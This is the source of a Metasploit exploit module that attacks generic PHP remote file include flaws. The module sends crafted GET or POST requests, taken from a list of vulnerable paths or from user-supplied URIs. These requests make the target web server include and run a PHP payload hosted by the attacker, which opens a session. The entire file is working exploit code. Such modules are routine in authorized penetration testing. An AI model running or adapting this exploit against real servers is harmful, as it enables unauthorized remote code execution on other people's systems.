##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::PHPInclude

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PHP Remote File Include Generic Code Execution',
        'Description' => %q{
          This module can be used to exploit any generic PHP file include vulnerability,
          where the application includes code like the following:

          <?php include($_GET['path']); ?>
        },
        'Author' => [ 'hdm', 'egypt', 'ethicalhack3r' ],
        'License' => MSF_LICENSE,
        # 'References' => [ ],
        'Privileged' => false,
        'Payload' => {
          'DisableNops' => true,
          'Compat' =>
                        {
                          'ConnectionType' => 'find'
                        },
          # Arbitrary big number. The payload gets sent as an HTTP
          # response body, so really it's unlimited
          'Space' => 262144 # 256k
        },
        'DefaultOptions' => {
          'WfsDelay' => 30
        },
        'DisclosureDate' => '2006-12-17',
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [[ 'Automatic', {}]],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      OptString.new('PATH', [ true, 'The base directory to prepend to the URL to try', '/']),
      OptString.new('PHPURI', [false, 'The URI to request, with the include parameter changed to XXpathXX']),
      OptString.new('POSTDATA', [false, 'The POST data to send, with the include parameter changed to XXpathXX']),
      OptString.new('HEADERS', [false, 'Any additional HTTP headers to send, cookies for example. Format: "header:value,header2:value2"']),
      OptPath.new('PHPRFIDB', [
        false, 'A local file containing a list of URLs to try, with XXpathXX replacing the URL',
        File.join(Msf::Config.data_directory, 'exploits', 'php', 'rfi-locations.dat')
      ])
    ])
  end

  def check
    uri = datastore['PHPURI'] ? datastore['PHPURI'].dup : ''

    tpath = normalize_uri(datastore['PATH'])
    if tpath[-1, 1] == '/'
      tpath = tpath.chop
    end

    if (uri && !uri.empty?)
      uri.gsub!(/\?.*/, '')
      print_status("Checking uri #{rhost + tpath + uri}")
      response = send_request_raw({ 'uri' => tpath + uri })
      return Exploit::CheckCode::Detected if response.code == 200

      vprint_error("Server responded with #{response.code}")
      return Exploit::CheckCode::Safe
    else
      return Exploit::CheckCode::Unknown
    end
  end

  def datastore_headers
    headers = datastore['HEADERS'] ? datastore['HEADERS'].dup : ''
    headers_hash = {}
    if headers && !headers.empty?
      headers.split(',').each do |header|
        next if header.nil? || header.empty?

        key, value = header.split(':', 2)
        next if key.nil? || value.nil?

        key = key.strip
        value = value.strip
        next if key.empty? || value.empty?

        headers_hash[key] = value
      end
    end
    headers_hash
  end

  def php_exploit
    uris = []

    tpath = normalize_uri(datastore['PATH'])
    if tpath[-1, 1] == '/'
      tpath = tpath.chop
    end

    # PHPURI overrides the PHPRFIDB list
    if (datastore['PHPURI'] && (!datastore['PHPURI'].empty?) && (datastore['POSTDATA'].nil? || datastore['POSTDATA'].empty?))
      uris << datastore['PHPURI'].strip.gsub('XXpathXX', Rex::Text.to_hex(php_include_url, '%'))
      http_method = 'GET'
    elsif (datastore['POSTDATA'] && (!datastore['POSTDATA'].empty?))
      uris << datastore['PHPURI']
      postdata = datastore['POSTDATA'].strip.gsub('XXpathXX', Rex::Text.to_hex(php_include_url, '%'))
      http_method = 'POST'
    else
      print_status('Loading RFI URLs from the database...')
      ::File.open(datastore['PHPRFIDB'], 'rb') do |fd|
        fd.read(fd.stat.size).split(/\n/).each do |line|
          line.strip!
          next if line.empty?
          next if line =~ /^#/
          next if line !~ %r{^/}

          uris << line.gsub(
            'XXpathXX', Rex::Text.to_hex(php_include_url.sub(/\?$/, '') + '?', '%') # ? append is required
          )
        end
      end
      uris.uniq!
      print_status("Loaded #{uris.length} URLs")
      http_method = 'GET'
    end

    # Very short timeout because the request may never return if we're
    # sending a socket payload
    timeout = 0.01

    # We can't make this parallel without breaking PHP findsock
    # Findsock payloads cause this loop to run slowly
    uris.each do |uri|
      break if session_created?

      vprint_status("Sending: #{rhost + tpath + uri}")
      begin
        if http_method == 'GET'
          send_request_raw({
            'global' => true,
            'uri' => tpath + uri,
            'headers' => datastore_headers
          }, timeout)
        elsif http_method == 'POST'
          send_request_raw(
            {
              'global' => true,
              'uri' => tpath + uri,
              'method' => http_method,
              'data' => postdata,
              'headers' => datastore_headers.merge({
                'Content-Type' => 'application/x-www-form-urlencoded',
                'Content-Length' => postdata.length
              })
            }, timeout
          )
        end
        handler
      rescue ::Interrupt
        raise $!
      rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
        print_error('The target service unreachable')
        break
      rescue ::OpenSSL::SSL::SSLError
        print_error('The target failed to negotiate SSL, is this really an SSL service?')
        break
      rescue ::Exception => e
        print_error("Exception #{e.class} #{e}")
      end

      Thread.pass
    end
  end
end